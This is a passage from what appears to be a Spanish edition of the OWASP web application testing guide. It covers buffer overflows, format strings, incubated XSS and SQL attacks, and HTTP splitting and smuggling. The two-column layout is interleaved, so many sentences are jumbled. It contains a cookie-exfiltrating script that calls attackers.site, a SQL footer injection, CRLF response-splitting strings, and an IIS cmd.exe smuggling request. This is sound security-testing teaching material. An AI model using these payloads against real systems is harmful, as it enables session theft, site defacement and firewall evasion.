están disponibles para el análisis de lenguajes de estilo C.
• PHP – mientras que no se comuniquen con los programas externos y las
extensiones PHP vulnerables escritas en C o C++ las cuales pueden sufrir de
saturación de pila de datos.
Herramientas
• OllyDbg: “Un depurador basado en windows utilizado para el análisis de

vulnerabilidades de saturación de búfer”: ollydbg.de Las vulnerabilidades de saturación de pila de datos a menudo permiten a
un atacante tomar directamente el control del puntero de instrucción y,
• Spike, un fuzzer framework que puede utilizarse para explorar las
por lo tanto, alterar la ejecución del programa y ejecutar el código
vulnerabilidades y realizar pruebas largas: immunitysec.com
arbitrario. Además de sobrescribir el puntero de instrucción, resultados
similares también se pueden obtener sobreescribiendo otras variables y
• Brute Force Binary Tester (BFB), un controlador binario proactivo:
estructuras, como los controladores de excepciones, que se encuentran en
la pila de datos.
bfbtester.sourceforge.net
• Metasploit, un framework de desarrollo, explotación y evaluación rápido:

metasploit.com
Cómo probar

Referencias
La clave para probar las vulnerabilidades de saturación de pila de datos
de una aplicación es suministrando datos demasiado grandes en
Libros Blancos
comparación con los esperados. Sin embargo, someter la aplicación a
• w00w00: “Heap Overflow Tutorial”: cgsecurity.org datos arbitrariamente grandes no es suficiente. Es necesario inspeccionar
el flujo de ejecución de la aplicación y las respuestas para determinar si
una saturación se ha disparado realmente o no. Por lo tanto, los pasos
230
necesarios para localizar y validar saturaciones de pila de datos sería

asociar un depurador a la aplicación de destino o al proceso, generar
ingresos con formato incorrecto en la aplicación, exponer la aplicación a Puesto que la aplicación está esperando argumentos de comandos de
los datos malformados y revisar las respuestas en un depurador. El línea, una larga secuencia de 'A' puede suministrarse en el campo de
depurador permite al evaluador ver el flujo de ejecución y el estado de argumentos como se muestra arriba.
los registros cuando la vulnerabilidad se activa.
Al abrir el ejecutable con los argumentos suministrados y continuar

Por otra parte, una forma más pasiva para probar puede ser empleada; corriendo la aplicación se obtienen los siguientes resultados:
esta consiste en inspeccionar el código de ensamble de la aplicación
usando desensambladores. En este caso, se analizarán varias secciones en
busca de firmas de fragmentos de ensamble vulnerables. Esto se
denomina comúnmente ingeniería inversa y es un proceso tedioso.
Un ejemplo simple: considere la siguiente técnica empleada durante la

prueba de un "sample.exe" ejecutable para saturación de pila de datos:
#include<stdio.h>
int main(int argc, char *argv[])
char buff[20];
printf(“copying into buffer”);
strcpy(buff,argv[1]);
return 0;
Como se muestra en la ventana de registros del depurador, el EIP o

Extended Instruction Pointer, que apunta a la siguiente instrucción a
ejecutarse, contiene el valor '41414141'. '41' que es una representación
El archivo sample.exe se corre en un depurador, en nuestro caso OllyDbg. hexadecimal para el carácter 'A' y, por lo tanto, la cadena 'AAAA' se
traduce a 41414141.
Esto demuestra claramente cómo se puede utilizar el ingreso de datos

para sobrescribir el puntero de instrucción con los valores suministrados
por el usuario y el control de ejecución del programa. Una saturación de
pila de datos también puede permitir la sobrescritura de estructuras
basadas en pilas de datos como SEH (Structured Exception Handler, en
español: controlador de excepciones estructurado) para controlar la
ejecución de código y esquivar algunos mecanismos de protección de
apilamiento.
Como se mencionó anteriormente, otros métodos para probar dichas

vulnerabilidades incluyen utilizar ingeniería inversa en los binarios de la

231
aplicación, el cual es un proceso complejo y tedioso y utiliza técnicas de El uso, relativamente más seguro, de strncpy()también puede llevar a una
difuminación (fuzzing). saturación de cúmulo de datos, ya que sólo restringe el número de bytes
copiados en el búfer de destino. Si el argumento de tamaño que se utiliza para
lograr esto se genera dinámicamente basado en los datos ingresados por el
usuario o no se calcula exactamente dentro de la trayectoria, es posible la
Pruebas de Caja Gris saturación de búferes de cúmulo de datos. Por ejemplo:
Al revisar el código en busca de una saturación de cúmulo de datos, es

aconsejable buscar comunicaciones con funciones de bibliotecas inseguras void func(char *source)
como gets(), strcpy(), strcat() etc. que no validan la longitud de cadenas de
fuente y copian ciegamente datos en búferes de tamaño fijo. {
Por ejemplo, considere la siguiente función: Char dest[40];
…
void log_create(int severity, char *inpt) {
size=strlen(source)+1
char b[1024];
….
strncpy(dest,source,size)
}
if (severity == 1)
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria
{ la vulnerabilidad de saturación de pila de datos samba trans2open.
(http://www.securityfocus.com/archive/1/317615).
strcat(b,”Error occurred on”);
strcat(b,”:”);
Las vulnerabilidades también pueden aparecer en la URL y desde el código de
strcat(b,inpt); análisis de dirección. En tales casos, una función como memccpy() es
generalmente empleada, ya que copia los datos en un búfer de destino desde la
fuente mientras no se encuentre un carácter especificado. Considere la
función:
FILE *fd = fopen (“logfile.log”, “a”); void func(char *path)
fprintf(fd, “%s”, b); {
fclose(fd); char servaddr[40];
memccpy(servaddr,path,’\’);
….
De lo anterior, la línea strcat(b,inpt) dará lugar a una saturación de cúmulo de
datos si inpt excede los 1024 bytes. Esto no sólo demuestra el uso inseguro de
strcat, también muestra lo importante que es examinar la longitud de las
secuencias a las que hace referencia un puntero de carácter que se pasa como
argumento a una función, en este caso, la longitud de cadena referenciada por
char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los En este caso, la información contenida en la ruta de acceso podría ser
argumentos de la función y determinar longitudes de cadena al revisar el mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se
código. provocará una saturación de pila de datos.

232
Una vulnerabilidad similar se encuentra en el subsistema de Windows Esta sección describe cómo probar ataques de cadena de formato que
RPCSS (MS03-026). El código vulnerable copió los nombres de rutas de pueden utilizarse para bloquear un programa o ejecutar un código
acceso UNC del servidor en un búfer de tamaño fijo, hasta que un '\' fue dañino. El problema surge por la utilización de datos ingresados por el
encontrado. La longitud del nombre del servidor, en este caso, era usuario, que no han sido filtrados, como el parámetro de formato de
controlable por los usuarios. cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el código de saturación de pila de datos, Varios lenguajes de estilo C disponen de un formato de salida por medio
también pueden ser de gran ayuda las herramientas de análisis estático de funciones como printf (), fprintf () etc..
del código. Aunque tienden a generar muchos falsos positivos y apenas
serían capaces de localizar una pequeña porción de defectos, sin duda El formateo se rige a un parámetro de estas funciones como un
ayudan a reducir la sobrecarga asociada con la búsquedas sencillas, como especificador del tipo de formato, normalmente %s, %c etc.. La
los bugs strcpy() y sprintf(). vulnerabilidad se presenta cuando se contactan funciones de formato que
tienen una inadecuada validación de parámetros y datos controlados por
el usuario.
Una variedad de herramientas como RATS, Flawfinder y ITS4 están

disponibles para analizar lenguajes de estilo C.
Un ejemplo simple sería printf(argv[1]). En este caso, el especificador de
tipo no ha sido explícitamente declarado, lo que permite a un usuario
pasar caracteres como %s, %n, %x a la aplicación, por medio de una línea
Herramientas de comandos de argumento argv [1].
• OllyDbg: “Un depurador basado en windows, utilizado para el análisis de

vulnerabilidades de saturación de búfer”: ollydbg.de
Esta situación tiende a ser precaria ya que un usuario que puede
• Spike, un fuzzer framework que puede utilizarse para explorar las suministrar especificadores de formato, puede realizar las siguientes
vulnerabilidades y realizar pruebas largas: immunitysec.com acciones maliciosas:
• Brute Force Binary Tester (BFB), un controlador binario

proactivo:bfbtester.sourceforge.net
Enumerar el proceso de la pila de datos: Esto permite a un adversario
• Metasploit, un framework de desarrollo, explotación y evaluación rápido: ver la organización del proceso vulnerable de apilamiento, mediante el
metasploit.com suministro de cadenas de formato como, %x o %p, que puede conducir a
la fuga de información sensible. También puede ser utilizado para extraer
valores de "canario" cuando la aplicación está protegida con un
mecanismo de seguridad para la pila de datos. Junto con una saturación
Referencias
de pila de datos, esta información puede utilizarse para saltarse el
protector de apilamiento.
Libros Blancos
• Aleph One: “Smashing the Stack for Fun and Profit”: insecure.org
Control del flujo de ejecución: Esta vulnerabilidad también puede

• The Samba trans2open stack overflow vulnerability: securityfocus.com
facilitar la ejecución de código arbitrario, ya que permite escribir cuatro
• Windows RPC DCOM vulnerability details: xfocus.org bytes de datos en una dirección suministrada por el adversario. El
especificador %n es útil para sobrescribir varios punteros de función en
http://www.xfocus. la memoria con la dirección de la carga maliciosa. Cuando se contactan
estos punteros de función sobrescritos, al ejecutarse pasan el código
org/documents/200307/2.html malicioso.
Pruebas para la cadena de formato Negación de servicio: Si el adversario no está en condiciones de

suministrar código malicioso para su ejecución, la aplicación vulnerable
Resumen puede ser bloqueada suministrando una secuencia de %x seguido de %n.

233
Cómo probar printf(“The string entered is\n”);
Pruebas de Caja Negra printf(“%s”,argv[1]);
La clave para probar las vulnerabilidades de cadena de formato es return 0;

suministrar especificadores del tipo de formato al ingresar a la aplicación.
}
Cuando se examina el desmontaje utilizando IDA Pro, la dirección de un

Por ejemplo, considere una aplicación que procesa la cadena URL especificador de tipo de formato es insertada en la pila y es claramente visible antes
http://xyzhost.com/html/en/index.htm o acepta ingresos desde de contactar a printf.
formularios. Si existe una vulnerabilidad de cadena de formato en una de
las rutinas que procesan esta información, suministra una dirección URL
como http://xyzhost.com/html/en/index.htm%n%n%n o pasa %n en uno
de los campos del formulario, podría bloquear la aplicación y crear un
volcado de memoria en la carpeta de alojamiento.
Las vulnerabilidades de cadena de formato se manifiestan principalmente

en servidores web, servidores de aplicaciones o aplicaciones web que
utilizan código basado en C y C++ o scripts CGI escritos en C. En la
mayoría de estos casos, un informe de errores o la función de registro
como syslog () han sido contactados de una manera insegura.
Al probar los scripts CGI en busca de vulnerabilidades de cadena de

formato, los parámetros de entrada pueden ser manipulados para incluir
especificadores de tipo %x o %n. Por ejemplo una solicitud legítima
como: Por otro lado, cuando se compila el mismo código sin "%s" como un argumento, la
variación en el montaje es evidente. Como se ve abajo, no hay ninguna
http://hostname/cgi-bin/query.cgi?name=john&code=45765 compensación (offset) que se inserte en la pila antes de contactar a printf.
puede ser alterada a
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Si existe una vulnerabilidad de cadena de formato en el procesamiento

rutinario de este solicitud, el evaluador podrá ver los datos de la pila que
se imprimen en el navegador.
Si el código no está disponible, el proceso de revisar los fragmentos del

ensamblaje (también conocido como ingeniería inversa binaria) rendiría Pruebas de Caja Negra
información sustancial acerca de errores en la cadena de formato.
Mientras se ejecutan las revisiones de código, casi todas las
Tome el ejemplo del código (1): vulnerabilidades de cadena de formato pueden detectarse con el uso de
herramientas de análisis de código estático. Someter al código que se
int main(int argc, char **argv)

234
muestra en (1) a ITS4, que es una herramienta de análisis de código

estático, da el siguiente resultado:
Referencias
Libros Blancos
• Format functions manual page: die.net
• Tim Newsham: “A paper on format string attacks”:
thenewsh.com
• Team Teso: “Exploiting Format String Vulnerabilities”:
julianor.tripod.com
• Analysis of format string bugs: www.cis.syr.edu
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)

Las funciones que son principalmente responsables de vulnerabilidades
de cadena de formato son las que tratan los especificadores de formato
Resumen
como opcionales. Por lo tanto, al revisar manualmente el código, puede
hacerse hincapié en funciones tales como:
También conocidos como ataques persistentes, la prueba de incubación
es un método de prueba complejo que necesita más de una vulnerabilidad
printf
de validación de datos para que funcione. Las vulnerabilidades incubadas
se utilizan típicamente para llevar a cabo ataques de "abrevadero" contra
fprintf
usuarios legítimos de aplicaciones web.
sprintf
Las vulnerabilidades incubadas tienen las siguientes características:
snprintf
vfprintf
• En primer lugar, el vector de ataque debe ser constante y debe almacenarse
vprintf en la capa de persistencia. Esto ocurrirá únicamente si una validación de
datos débil está presente o los datos llegaron al sistema a través de otro canal
vsprintf como una consola de administración o directamente a través de un proceso de
datos restringidos.
vsnprintf
• Segundo, una vez que el vector de ataque ha sido "contactado", este necesita
Puede haber varias funciones de formateo que son específicas en la ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado
plataforma de desarrollo. Esto también debe revisarse en busca de la requiere una validación de salida de datos débil para que el script pueda ser
ausencia de cadenas de formato, una vez que se ha entendido su entregado al cliente de una manera ejecutable.
argumento de uso.
La explotación de algunas vulnerabilidades, o incluso características

Herramientas funcionales de una aplicación web, permitirá a un atacante plantar una sección
de datos que más tarde se recuperará mediante un usuario desprevenido u otro
• ITS4: “Una herramienta de análisis estático del código para la identificación componente del sistema, explotando así alguna vulnerabilidad.
de vulnerabilidades de cadenas de formato con código fuente”: cigital.com
• Un constructor de cadenas de explotación para errores de formato:

seclists.org En una prueba de penetración, los ataques incubados pueden utilizarse para
evaluar la importancia de ciertos errores, utilizando el tema de la seguridad

235
particular que encontró para construir un ataque basado en el lado del cliente; página resultante o descargue y ejecute el archivo desde el sitio de
este se utiliza generalmente para atacar a un gran número de víctimas al confianza.
mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
Ejemplo de XSS en una cartelera

Este tipo de ataque asíncrono cubre un gran espectro de vectores de
ataque, entre ellos los siguientes: [1] Introduzca el código JavaScript como el valor para el campo
vulnerable, por ejemplo:
<script>document.write(‘<img
• Los componentes de carga de archivos en una aplicación web permiten al src=”http://attackers.site/cv.jpg?’+document.cookie+’”>’)</script>
atacante subir archivos corrompidos (imágenes jpg imágenes que explotan CVE-
2004-0200, imágenes png que explotan CVE-2004-0597, archivos ejecutables,
páginas de sitios con componentes activos, etc.).
[2] Dirija a los usuarios a navegar por la página vulnerable o espere a que
los usuarios naveguen. Tenga un "oyente" en el servidor anfitrión del sitio
del lado del atacante.para escuchar todas las conexiones entrantes.
• Asuntos de cross-site scripting de publicaciones en foros públicos (vea Pruebas
para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). [3] Cuando los usuarios navegan por la página vulnerable, una solicitud
Un atacante podría potencialmente almacenar secuencias de comandos que contiene su cookie (document.cookie se incluye como parte de la URL
malintencionados o el código en un repositorio en el servidor restringido de la solicitada) será enviada al servidor anfitrión del sitio del atacante, como
aplicación web (por ejemplo, una base de datos) para que este código de script los siguientes:
se ejecute mediante uno de los usuarios (los usuarios finales, administradores,
etc.). El ataque incubado arquetípico es ejemplificado por una vulnerabilidad de - GET
cross site scripting en un foro de usuarios, cartelera o blog para inyectar código /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
JavaScript en la página vulnerable y será eventualmente procesado y ejecutado
en el navegador del usuario del sitio utilizando el nivel de confianza del sitio %20JSESSIONID=ADIFFERENTVALUE:-
(vulnerable) original en el navegador del usuario. 1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
• La inyección SQL/XPATH permite al atacante subir contenido a una base de

datos, que será más tarde recuperado como parte de los contenidos activos en
una página web. Por ejemplo, si el atacante puede publicar JavaScript arbitrario [4] Use cookies obtenidas para personificar a los usuarios en el sitio
en una cartelera para que se ejecute por los usuarios, luego él podría tomar el vulnerable.
control de su navegador (por ejemplo, XSS-proxy).
Ejemplo de inyección SQL

• Servidores mal configurados que permiten la instalación de paquetes de Java o
componentes similares del sitio web (es decir Tomcat o consolas de alojamiento Por lo general, este conjunto de ejemplos aprovecha ataques de XSS
de web tales como Plesk, CPanel, Helm, etc.) explotando una vulnerabilidad de inyección SQL. Lo primero que se
comprueba es si el sitio de destino tiene una vulnerabilidad de inyección
SQL. Esto se describe en la sección 4.2 para probar la inyección de SQL.
Para cada vulnerabilidad de inyección SQL, hay un conjunto subyacente
Cómo probar
de restricciones que describe el tipo de consultas que el atacante o
evaluador de edición puede hacer.
Ejemplo de carga de archivos

Entonces, el evaluador tiene que comparar los ataques XSS que ha ideado
Verifique el tipo de contenido que se permite subir a la aplicación web y
con los ingresos permitidos
la URL resultante para el archivo cargado. Cargue un archivo que explote
un componente en la estación de trabajo de usuario local cuando se
consulten o descarguen por parte del usuario. Envíe a su víctima un email
u otro tipo de alerta para dirigirlo a navegar por la página. El resultado
esperado es que se active la explotación cuando el usuario navegue por la

236
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de Como también debería ser obvio, la habilidad de cambiar el contenido de
página web vulnerable a problemas de inyección SQL para cambiar un la página web en el servidor a través de cualquier vulnerabilidad que
valor en la base de datos que se utilizaría por la aplicación como ingresos puede ser explotable en el host dará al atacante permisos de escritura en
que se muestran en el sitio sin la filtración adecuada (esto sería una el webroot, y también será útil cuando se quiera plantar un ataque
combinación de una inyección de SQL y un problema XSS). incubado semejante en las páginas del servidor web (en realidad, se trata
de un método de propagación de la infección conocido para algunos
gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de página en la base de datos Pruebas de Caja Gris
con todos los pies de página para las páginas del sitio web, incluyendo un
campo de nota con el aviso legal que aparece en la parte inferior de cada Las técnicas de pruebas gris/blancas serán las mismas que se discutieron
página web. Puede utilizar la siguiente consulta para inyectar código previamente.
JavaScript en el campo de avisos en el pie de página en la base de datos.
SELECT field1, field2, field3

• Examinar la validación de datos ingresados es clave para mitigar esta
FROM table_x vulnerabilidad. Si otros sistemas en la empresa utilizan la misma capa de
persistencia, tienen una validación débil de ingresos y los datos pueden
WHERE field2 = ‘x’; persistir a través de una “puerta trasera”.
UPDATE footer
SET notice = ‘Copyright 1999-2030%20 • Para combatir el problema de la "puerta trasera" en ataques del lado del
cliente, la validación de salida debe ser empleada para que los datos
<script>document.write(\’<img contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto,
src=”http://attackers.site/cv.jpg?\’+document.cookie+\’”>\’)</script>’ no se ejecuten.
WHERE notice = ‘Copyright 1999-2030’;
• Vea la sección de Validación de Datos de la guia de revisión de código.
[2] Ahora, cada usuario que navegue por el sitio enviará silenciosamente
sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas
• XSS-proxy: sourceforge.net
Servidor mal configurado
• Paros: parosproxy.org
Algunos servidores web presentan una interfaz de administración que
• Burp Suite: portswigger.net
puede permitir a un atacante cargar componentes activos de su elección
en el sitio. Esto podría ser el caso con un servidor Apache Tomcat que no
• Metasploit: metasploit.com
obliga a utilizar credenciales fuertes para acceder a su gestor de
aplicaciones web (o si los evaluadores de edición han sido capaces de
obtener credenciales válidas para el módulo de administración por otros
medios). Referencias
La mayoría de las referencias de la sección de Cross-site scripting son válidas.

Como se explicó anteriormente, los ataques incubados se ejecutan al combinar
En este caso, puede cargarse un archivo WAR y una nueva aplicación web explotaciones como XSS o ataques de inyección SQL.
desplegarse en el sitio, que no sólo permita al evaluador de edición
ejecutar localmente el código a su elección en el servidor, sino también
para plantar una aplicación en el sitio de confianza, al que los usuarios
regulares del sitio puedan acceder (probablemente con un mayor grado Advertencias
de confianza que al acceder a un sitio diferente).
• CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests: cert.org

237
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site más sencillo es proporcionado por las redirecciones en las que la dirección
URL de destino depende de algún valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Digamos, por ejemplo, que al usuario se le pide que elija si él o ella

Libros Blancos prefiere una interfaz web estándar o avanzada. La elección se pasa como
un parámetro que se utilizará en el encabezado de respuesta para activar
• Web Application Security Consortium “Threat Classification, la redirección a la página correspondiente.
Cross-site scripting”: webappsec.org
Más específicamente, si el parámetro 'interface' tiene el valor 'avanzado',

la aplicación responderá de la siguiente manera:
Pruebas para verificar la separación/contrabando de HTTP (OTG-
INPVAL-016) HTTP/1.1 302 Moved Temporarily
Resumen Date: Sun, 03 Dec 2005 16:22:19 GMT
Esta sección ilustra ejemplos de ataques que aprovechan características Location: http://victim.com/main.jsp?interface=advanced
específicas del protocolo HTTP, ya sea mediante la explotación de las
debilidades de la aplicación web o peculiaridades, en la manera en que los <snip>
diferentes agentes interpretan los mensajes HTTP.
Al recibir este mensaje, el navegador llevará al usuario a la página
indicada en el encabezado de ubicación. Sin embargo, si la aplicación no
filtra la entrada de usuario, será posible introducir en el parámetro de la
Esta sección analizará dos diferentes ataques dirigidos a encabezados
'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se
HTTP específicos:
utiliza para separar líneas.
• Separación HTTP (HTTP splitting)
• Contrabando HTTP (HTTP smuggling)

En este punto, los evaluadores serán capaces de desencadenar una
respuesta que se interpreta como dos diferentes respuestas para
El primer ataque explota la falta de desinfección de datos ingresados que
cualquiera que analiza, por ejemplo un caché web ubicado entre nosotros
permite a un intruso insertar caracteres CR y LF en los encabezados de la
y la aplicación. Un atacante puede aprovechar esto para envenenar este
respuesta de la aplicación y 'separar' la respuesta en dos mensajes HTTP
caché web que proporcionará contenido falso en todas las solicitudes
diferentes. El objetivo del ataque puede variar desde un envenenamiento del
subsiguientes.
caché hasta un cross site scripting.
Digamos que en el ejemplo anterior el evaluador pasa los siguientes datos

En el segundo ataque, el atacante explota el hecho de que algunos mensajes
HTTP especialmente diseñados pueden ser analizados e interpretados de como el parámetro de la interfaz:
diferentes maneras según el agente que las reciba. El contrabando de HTTP
advanced%0d%0aContent-
requiere cierto nivel de conocimiento sobre los diferentes agentes que están
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
manejando los mensajes HTTP (servidor web, proxy, firewall) y, por lo tanto,
se incluirán solamente en la sección de prueba de Caja Gris.
Type:%20text/html%0d%0aContent-
Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
Cómo probar
Pruebas de Caja Negra La respuesta resultante de la aplicación vulnerable será, en consecuencia, la

siguiente:
Separación HTTP
HTTP/1.1 302 Moved Temporarily
Algunas aplicaciones web usan parte de los datos ingresados por el usuario
para generar los valores de algunos encabezados de sus respuestas. El ejemplo Date: Sun, 03 Dec 2005 16:22:19 GMT

238
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0 [1] El evaluador de edición debe establecer correctamente los

encabezados en la respuesta falsa para que pueda ser correctamente
procesada en caché (por ejemplo, un encabezado Last-Modified con una
fecha establecida en el futuro). Él o ella también podrían tener que
HTTP/1.1 200 OK destruir previamente las versiones de los localizadores de destino
almacenados en memoria caché, mediante la emisión de una solicitud
Content-Type: text/html preliminar con "Pragma: no-cache" en los encabezados de solicitud.
Content-Length: 35
[2] La aplicación, aunque no filtre la secuencia CR+LF, podría filtrar otros

caracteres que son necesarios para un ataque exitoso (por ejemplo, "<" y
<html>Sorry,%20System%20Down</html> ">"). En este caso, el evaluador puede intentar utilizar otras
codificaciones (por ejemplo, UTF-7).
<other data>
[3] Algunos objetivos (por ejemplo, ASP) codificarán la parte de la ruta
URL del encabezado de ubicación (por ejemplo,
www.victim.com/redirect.asp), haciendo inútil una secuencia CRLF. Sin
La caché web verá dos respuestas diferentes, así que si el atacante envía embargo, no codifican la sección de consulta (por ejemplo,
inmediatamente después de la primera solicitud una segunda, pidiendo ?interface=advanced), lo que significa que un signo de pregunta es
/index.html, la caché web empareja esta petición con la segunda suficiente para evadir el filtro.
respuesta y almacena en caché su contenido, para que en todas las
solicitudes posteriores a victim.com/index.html que pasen por ese caché
web aparecerá el mensaje "sistema fuera de servicio" (system down).
Para una discusión más detallada sobre este ataque y otra información
acerca de posibles escenarios y aplicaciones, consulte los documentos
mencionados en la parte inferior de esta sección.
De esta manera, un atacante podrá desfigurar con eficacia el sitio para los
usuarios utilizando ese caché web (todo el Internet, si la memoria caché
web es un proxy inverso para la aplicación web). Por otro lado, el
atacante podría pasar a estos usuarios un fragmento de código JavaScript Pruebas de Caja Gris
que monta un ataque de cross site scripting, por ejemplo, para robar las
cookies. Tenga en cuenta que mientras la vulnerabilidad esté en la Separación HTTP
aplicación, el objetivo serán sus usuarios. Por lo tanto, para buscar esta
vulnerabilidad, el evaluador debe identificar todos los ingresos Ayuda enormemente a una explotación exitosa de separación HTTP si se
controlados por el usuario que influyen en una o más respuestas en los sabe algunos detalles de la aplicación web y del destino del ataque. Por
encabezados y comprobar si puede inyectar con éxito una secuencia ejemplo, diferentes objetivos pueden utilizar diversos métodos para
CR+LF. decidir cuándo termina el primer mensaje HTTP y cuándo inicia el
segundo. Algunos utilizan los límites del mensaje, como en el ejemplo
anterior. Otros objetivos asumen que diferentes mensajes se
transportarán en diferentes paquetes. Otros destinarán para cada
Los encabezados que son los candidatos más probables para estos mensaje un número de piezas de longitud predeterminada: en este caso,
ataques son: el segundo mensaje debe iniciar exactamente al principio del pedazo y,
para ello, será necesario que el evaluador utilice relleno entre los dos
mensajes.
• Location
• Set-Cookie Esto podría provocar algunos problemas cuando el parámetro vulnerable

es enviado en la URL, ya que es probable que una URL muy larga se
trunque o filtre. Un escenario de Caja Gris puede ayudar al atacante a
encontrar una solución: varios servidores de aplicaciones, por ejemplo,
Debe observarse que una exitosa explotación de esta vulnerabilidad en un permitirán que la solicitud se envíe mediante POST en lugar de GET.
escenario del mundo real puede ser bastante compleja, ya que varios
factores deben tomarse en cuenta:

239
Contrabando HTTP <CRLF>
Como se mencionó en la introducción, el contrabando HTTP aprovecha POST /target.asp HTTP/1.0 <-- Request #3
las diferentes maneras en que un mensaje HTTP especialmente diseñado
puede ser analizado e interpretado por los diferentes agentes xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <--
(navegadores, cachés web, aplicaciones de firewalls). Este relativamente Request #4
nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein,
Ronen Heled y Steve Orrin en 2005. Connection: Keep-Alive
<CRLF>
Hay varias aplicaciones posibles y vamos a analizar una de las más

espectaculares: la evasión de una aplicación de firewall. Consulte el
artículo original del Libro Blanco (enlazado al final de esta página) para Lo que pasa aquí es que la petición #1 está hecha de 49223 bytes, e
información más detallada y otros escenarios. incluye también las líneas de petición #2. Por lo tanto, un firewall (o
cualquier otro agente aparte de IIS 5.0) verá la petición #1, dejará de ver
la petición #2 (sus datos serán sólo una parte de la #1), verá la solicitud
#3 y no verá la solicitud #4 (porque el POST va a ser sólo una parte del
Evasión de la aplicación de Firewall encabezado falso xxxx).
Hay varios productos que permiten a la administración del sistema

detectar y bloquear una solicitud web hostil según ciertos patrones
maliciosos conocidos, que están incrustados en la solicitud. Por ejemplo, Ahora, ¿qué pasa con IIS 5.0? Dejará de analizar la petición #1 después de
considere el infame ataque del directorio Unicode old contra el servidor 49152 bytes de basura (habrá alcanzado el límite de 48 K = 49152 bytes)
IIS (http://www.securityfocus.com/bid/1806), en el que un atacante y, por lo tanto, analizará la petición #2 como una nueva solicitud
podría romper la www.root emitiendo una solicitud como: separada. La solicitud #2 afirma que su contenido es 33 bytes, que incluye
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<comma todo hasta "xxxx:", que hace que IIS pierda la solicitud #3
nd_to_execute></command_to_execute> (interpretándola como parte de la petición #2), pero encuentra la
solicitud #4, ya que su POST comienza justo después de los 33 bytes o la
solicitud #2. Es un poco complicado, pero el punto es que la URL de
ataque no será detectada por el firewall (se interpreta como parte del
Por supuesto, este ataque es bastante fácil de detectar y filtrar por la cuerpo de una solicitud anterior), pero será correctamente analizada (y
presencia de cadenas como ".." y "cmd.exe" en la URL. Sin embargo, IIS 5.0 ejecutada) por IIS.
es bastante exigente con las peticiones POST cuyo cuerpo es de hasta 48K
bytes y trunca todo el contenido que está más allá de este límite cuando la
cabecera Content-Type es diferente de laaplicación/x-www-form-
urlencoded. El evaluador de edición puede aprovechar esto mediante la Mientras que en el caso anterior la técnica explota un error de un
creación de un pedido muy grande, estructurado de la siguiente manera: servidor web, hay otros escenarios en los que podemos aprovechar las
distintas maneras en que diferentes dispositivos basados en HTTP
POST /target.asp HTTP/1.1 <-- Request #1 permiten analizar mensajes que no son compatibles con 1005 RFC.
Host: target
Connection: Keep-Alive Por ejemplo, el protocolo HTTP permite sólo un encabezado Content-
Length, pero no especifica cómo manejar un mensaje que tiene dos
Content-Length: 49225 instancias de este encabezado. Algunas implementaciones utilizarán el
primero de ellos mientras que otras preferirán la segunda, limpiando el
<CRLF> camino para ataques de contrabando HTTP. Otro ejemplo es el uso del
encabezado Content-Length en un mensaje GET.
<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2

Tenga en cuenta que el contrabando HTTP *no* explota ninguna
Connection: Keep-Alive vulnerabilidad en la aplicación web de destino. Por lo tanto, puede ser
algo complicado, en una relación de evaluador de edición, convencer al
Content-Length: 33 cliente que una contramedida debe ser buscada de todas maneras.

240
como las que se describen en 4.2.1 Realice descubrimientos de motores

de búsqueda y reconocimiento de fugas de información (OTG-INFO -001)
Referencias
Libros Blancos
Errores de servidor web
• Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache
Poisoning Attacks, and RelatedTopics”: packetstormsecurity.org Un error común que podemos ver durante la prueba es el HTTP 404 Not
Found. A menudo este código de error proporciona información útil sobre
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request el servidor web subyacente y componentes asociados. Por ejemplo:
Smuggling”: cgisecurity.com
Not Found
• Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”:
owasp.org The requested URL /page.html was not found on this server.
• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at
phenomenon)”: securityfocus.com localhost Port 80
• Amit Klein: “HTTP Response Smuggling”: securityfocus.com
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Este mensaje de error puede generarse por solicitar una URL no
Smuggling”: cgisecurity.com existente. Después del mensaje común que muestra una página no
encontrada, hay información sobre la versión del servidor web, sistema
operativo, módulos y otros productos utilizados. Esta información puede
ser muy importante desde el punto de vista de identificar el tipo y versión
Pruebas de errores de código (OTG-ERR-001)
del sistema operativo y aplicaciones.
Resumen
A menudo, durante una prueba de penetración en aplicaciones web, nos

Otros códigos de respuesta HTTP tales como 400 Bad Request, 405
encontramos con muchos errores de código generados por aplicaciones o
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out
servidores web. Es posible hacer que estos errores se muestren al utilizar una
and 505 HTTP Version Not Supported pueden ser forzados por un
solicitud personalizada, creada especialmente con herramientas o
atacante. Cuando reciben solicitudes especialmente diseñadas, los
manualmente. Estos códigos son muy útiles para los evaluadores de
